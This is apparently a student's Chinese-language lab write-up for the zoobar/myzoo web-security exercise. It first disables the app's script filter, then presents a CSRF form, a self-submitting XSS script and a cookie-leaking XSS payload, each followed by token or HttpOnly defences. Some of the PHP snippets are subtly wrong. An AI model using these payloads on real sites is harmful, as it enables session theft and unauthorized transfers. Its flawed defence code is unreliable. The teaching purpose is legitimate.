首先在user.php文件中去除黑名单的第一行标签,在白名单中添加<script>
E1:csrf攻击zoobarcsrf:cross-site request forgery 跨站伪造请求普通用户登录myzoo网站后,在未退出的状态下,浏览了attack/csrf网站该网站伪造了一份myzoo网站的表单,普通用户在不知情的状态下,自动被提交了一份恶意表单由于http协议的无状态特性,在每一份请求的表单中会自动带上cookie从而在myzoo网站看来一份合法的请求被提交iframe限制了网站跳转,普通用户难以察觉 <iframe name=my_iframe width=70% height=40%></iframe>
<form method=POST name=transferform action=" " target="my_iframe">
<p>Send <input name=zoobars type=text value="1" size=5> zoobars</p>
<p>to <input name=recipient type=text value="attack"></p>
<input type=submit name=submission value="Send">
</form>
E2:csrf防御攻击zoobar 方案1: 验证HTTP Referer字段,它记录了该HTTP请求的源地址 缺点:该字段可以被普通用户修改 方案2:【相对合理】 在请求中添加token并验证 在服务器端建立拦截器验证此token 基本思路: 1)启动session <?php session_start; ?> 2)在session中产生一个随机数 $_session['csrf']=md5(uniqid(mt_rand(),true)); 3)将生成的值放在表单中 <input type=hidden name=csrf value="<?php echo $_session['csrf']?>"/> 4)用户提交表单验证提交的token是否和session中保存的值一致
if($zoobars > 0 && $sender_balance >= 0 && $recipient_exists &&
$_post['submission'] && ($_post['csrf']==$_session['csrf']))
E3:xss攻击zoobar xss:cross sitescript 跨站脚本攻击 通过js创建自提交表单
<script>
var f=document.createElement("form");
document.body.appendChild(f);
var a=document.createElement("input");
a.type="hidden";
a.type="text";
a.value="1";
a.name="zoobars";
f.appendChild(a);
var b=document.createElement("input");
b.type="hidden";
b.type="text";
b.name="recipient"
b.value="aa";
f.appendChild(b);
var c=document.createElement("input");
c.type="hidden";
c.name="submission";
c.value="Send";
f.appendChild(c);
f.method="POST";
f.name="transferform";
f.action=" ";
f.submit();
</script>
E4:xss防御攻击zoobar 同理csrf防御攻击zoobar E5:xss攻击cookie 凡是可以执行js代码的地方就可能存在xss漏洞!
<script>
document.write("<img src= "+document.cookie+">");
</script>
E6:xss防御攻击cookie HttpOnly
setcookie($this->cookieName, $cookieData, time() + 31104000,NULL,NULL,NULL,TRUE); 突然又没有跑出应有的结果,下次再贴图